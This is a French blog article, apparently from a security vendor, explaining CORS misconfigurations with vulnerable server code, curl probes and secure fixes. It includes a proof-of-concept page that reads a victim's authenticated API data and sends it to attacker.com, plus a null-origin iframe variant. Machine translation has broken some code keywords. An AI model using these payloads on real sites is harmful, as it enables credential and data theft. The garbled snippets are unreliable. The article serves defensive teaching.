Les erreurs de configuration CORS sont l’une des vulnérabilités les plus régulièrement récompensées dans les programmes de bug bounty – et l’une des plus sous-estimées. Un seul mal configuré Contrôle d'accès-Autoriser-Origine L'en-tête peut exposer chaque point de terminaison d'API authentifié à des domaines contrôlés par des attaquants.
Par défaut, les navigateurs appliquent le Politique de même origine (SOP) : JavaScript en cours d'exécution sur attaquant.com je ne peux pas lire les réponses de banque.com. CORS est le mécanisme qui détend cette restriction – et lorsqu’elle est mal configurée, elle peut complètement compromettre le SOP.
Le partage de ressources cross-origine (CORS) est un mécanisme basé sur un en-tête HTTP qui permet à un serveur d'indiquer quelles origines (domaine + schéma + port) autres que la sienne sont autorisées à lire ses réponses. Lorsqu'un navigateur effectue une requête d'origine croisée, il applique la stratégie CORS du serveur.
Les en-têtes critiques à comprendre :
Contrôle d'accès-Autoriser-Origine — précise quelle origine peut lire la réponseContrôle d'accès-Autoriser-Credentials — si les cookies/en-têtes d'authentification sont inclusMéthodes d'autorisation de contrôle d'accès — méthodes HTTP autoriséesEn-têtes d'autorisation de contrôle d'accès — en-têtes de requête autorisésContrôle d'accès-exposer-en-têtes — en-têtes de réponse visibles en JavaScriptLa vulnérabilité la plus critique se produit lorsqu'un serveur renvoie les deux Access-Control-Allow-Origin : [contrôlé par l'attaquant] ET Access-Control-Allow-Credentials : vrai. Cela signifie que les attaquants peuvent effectuer des requêtes authentifiées depuis leur site et lire les réponses.
Les navigateurs rejettent Contrôle d'accès-Autoriser-Origine : * combiné avec des informations d'identification. Les développeurs essaient souvent cela, puis le « corrigent » en reflétant l'origine de manière dynamique, créant ainsi une vulnérabilité encore pire.
# Logique côté serveur vulnérable (Python/Flask)
@app.after_request
def add_cors (réponse) :
origine = request.headers.get('Origine')
réponse.headers['Access-Control-Allow-Origin'] = origin # NE JAMAIS FAIRE CELA
réponse.headers['Access-Control-Allow-Credentials'] = 'true'
réponse de retour
N'importe quelle origine peut désormais lire les réponses authentifiées. Il s'agit de la vulnérabilité CORS la plus courante trouvée dans les primes de bogues.
# Vulnérable : vérifie si le domaine de confiance apparaît PARTOUT dans l'origine
si 'trusted-bank.com' dans request.headers.get('Origin', '') :
# Bypass : l'attaquant enregistre evil-trusted-bank.com ou trust-bank.com.evil.com
autoriser_origine (origine)
Contrôle d'accès-Autoriser-Origine : null
Access-Control-Allow-Credentials : vrai
Le nul origin peut être déclenché via des iframes en bac à sable, des redirections et des URL file://. Les attaquants peuvent créer des pages qui envoient des requêtes avec Origine : nulle.
# Destiné à autoriser *.company.com mais autorise également evil.company.com.attacker.com
si origin.endswith('.company.com'):
autoriser_origine (origine)
Quand Contrôle d'accès-Âge maximum est défini, les réponses préalables au vol mises en cache peuvent être exploitées si la logique de validation d'origine change sans invalidation du cache.
# Test 1 : Contrôle de réflexion de base
curl -s -I -H "Origine : https://evil.com" \
https://target.com/api/userinfo \
| grep -i "contrôle d'accès"
# Test 2 : Origine nulle
curl -s -I -H "Origine : null" \
https://target.com/api/userinfo \
| grep -i "contrôle d'accès"
# Test 3 : Contournement de sous-domaine
curl -s -I -H "Origine : https://target.com.evil.com" \
https://target.com/api/userinfo \
| grep -i "contrôle d'accès"
# Test 4 : Contournement pré-domaine
curl -s -I -H "Origine : https://eviltarget.com" \
https://target.com/api/userinfo \
| grep -i "contrôle d'accès"
# Installer et exécuter Corsy
pip installer corsy
python3 corsy.py -u https://target.com -t 10
# Scanner une liste d'URL
python3 corsy.py -i urls.txt --headers "Cookie : session=abc123"
Dans Burp Suite Pro, le Scanner actif teste automatiquement les erreurs de configuration CORS. Pour les tests manuels, utilisez le Extension CORS* depuis le BApp Store. Mesures:
Origine : https://evil.com en-têteContrôle d'accès-Autoriser-OrigineAccess-Control-Allow-Credentials : vrai est également présent| Réponse | Gravité | Exploitable ? |
|---|---|---|
ACTION: * | Faible-Moyen | Seulement sans informations d'identification |
ACTION : [origine maléfique] seulement | Moyen | Sans identifiants |
ACTION : [origine maléfique] + ACAC : vrai | Critique | Oui – vol complet des informations d’identification |
ACTION : nulle + ACAC : vrai | Haut | Via iframe en bac à sable |
Le PoC suivant démontre l’impact des mauvaises configurations CORS. Testez uniquement sur les applications que vous possédez ou que vous disposez d'une autorisation écrite explicite pour tester.
<!-- Hébergé sur Attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
informations d'identification : 'inclure', // Envoie des cookies
mode : 'cors'
})
.then(r => r.text())
.then(données => {
// Exfiltration vers le serveur de l'attaquant
fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS bloqué :', e));
</script>
<iframe sandbox="allow-scripts autorise-top-navigation autorise-forms"
srcdoc="<script>
fetch('https://victim.com/api/userdata', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>
Si un sous-domaine approuvé (par exemple, héritage.victim.com) est disponible pour le rachat et les approbations API *.victim.com, la combinaison de la prise de contrôle de sous-domaine avec CORS crée une chaîne d'impact critique.
Un chercheur a découvert que le point de terminaison de l'API de paiement /api/v2/méthodes-de-paiement reflétait tout en-tête d’origine avec les informations d’identification. En hébergeant une page malveillante sur un domaine similaire, ils pourraient lire silencieusement les métadonnées de la carte de crédit enregistrées par les victimes (4 derniers chiffres, expiration, adresse de facturation) et le solde du compte lorsque la victime visitait la page de l'attaquant.
Le portail des patients d'une entreprise de soins de santé a accepté les demandes de nul origines. L'API d'administration interne utilisait la même politique CORS que l'API destinée aux patients. L'iframe sandbox d'un attaquant pourrait lire les PHI (informations de santé protégées) à partir de sessions authentifiées – une violation directe de la loi HIPAA.
| Entreprise | Vulnérabilité | Paiement |
|---|---|---|
| Shopify | Réflexion de l'origine dans l'API marchand | 25 000 $ |
| Uber | Approbation de sous-domaine générique | 3 000 $ |
| Yahoo | Acceptation d'origine nulle | 2 500 $ |
| Starbucks | Contournement pré-domaine | 4 000 $ |
# Python/Flask - Implémentation sécurisée
ALLOWED_ORIGINS = {
'https://app.company.com',
'https://admin.company.com',
'https://entreprise.com'
}
@app.after_request
def add_cors_headers (réponse) :
origine = request.headers.get('Origine')
si origine dans ALLOWED_ORIGINS :
réponse.headers['Access-Control-Allow-Origin'] = origine
réponse.headers['Access-Control-Allow-Credentials'] = 'true'
réponse.headers['Vary'] = 'Origin' # Critique pour la mise en cache !
réponse de retour
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
'https://app.company.com',
'https://company.com'
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.has(origine)) {
res.setHeader('Access-Control-Allow-Origin', origine);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
suivant();
});
# nginx.conf - CORS sécurisé
carte $http_origin $cors_origin {
par défaut "" ;
"https://app.company.com" $http_origin ;
"https://entreprise.com" $http_origin ;
}
serveur {
emplacement /api/ {
si ($cors_origin) {
add_header 'Access-Control-Allow-Origin' $cors_origin toujours ;
add_header 'Access-Control-Allow-Credentials' 'true' toujours ;
add_header 'Vary' 'Origin' toujours ;
}
# Ne jamais utiliser : add_header 'Access-Control-Allow-Origin' '*';
}
}
*) avec informations d'identificationnul origine dans la productionVarier : Origine en-tête lors de la définition dynamique de l'ACAOCSRF exploite l'envoi automatique de cookies du navigateur pour les demandes de changement d'état (écritures). L'attaquant n'a pas besoin de lire la réponse. Mauvaises configurations CORS permettre aux attaquants de lire réponses d’origine croisée. Les deux nécessitent que la victime soit authentifiée. CORS ne protège PAS contre CSRF — utilisez des jetons CSRF pour cela.
# Ajoutez à votre pipeline de sécurité (par exemple, GitHub Actions)
- nom : Analyse de sécurité CORS
exécuter : |
# Tester les points de terminaison critiques
pour le point de terminaison dans /api/user /api/account /api/payments ; faire
réponse=$(curl -s -I \
-H "Origine : https://evil-test-domain.com" \
"https://${{ env.TARGET_URL }}$endpoint")
si echo "$réponse" | grep -qi "access-control-allow-origin : https://evil" ; alors
echo "MAUVAISE CONFIGURATION CORS DÉTECTÉE : $endpoint"
sortie 1
fi
fait
echo "Contrôle CORS réussi"
KENSAI recherche en permanence les erreurs de configuration CORS, les vulnérabilités d'origine reflétées et les problèmes de confiance d'origine nulle sur tous vos points de terminaison d'API.
Démarrer l'analyse gratuite →La gravité dépend de la combinaison d'en-têtes. Contrôle d'accès-Autoriser-Origine : * seul (sans informations d’identification) est de gravité faible à moyenne. Les cas critiques impliquent à la fois une origine arbitraire/réfléchie ET Access-Control-Allow-Credentials : vrai - cela permet le détournement complet de session et le vol de données.
Les exploits CORS nécessitent que la victime visite la page de l'attaquant avec une session active sur le site cible. L’exploit se produit silencieusement en arrière-plan : la victime ne voit rien. Cela les rend particulièrement dangereux dans les scénarios de phishing.
Non. CORS est un mécanisme d’assouplissement des politiques de même origine et fonctionne indépendamment du fait que HTTPS soit utilisé ou non. Le schéma (http vs https) fait partie de l'origine, mais l'utilisation de HTTPS ne corrige pas les erreurs de configuration CORS.
Le scanner actif de KENSAI teste tous les points de terminaison d'API avec des en-têtes d'origine modifiés, vérifiant les origines réfléchies, l'acceptation d'origine nulle et la combinaison critique des origines réfléchies avec la prise en charge des informations d'identification. Les résultats sont hiérarchisés en fonction de leur exploitabilité réelle, et pas seulement de la présence d'en-tête.
La sécurité n'est pas facultative.
🗡️ L'équipe KENSAI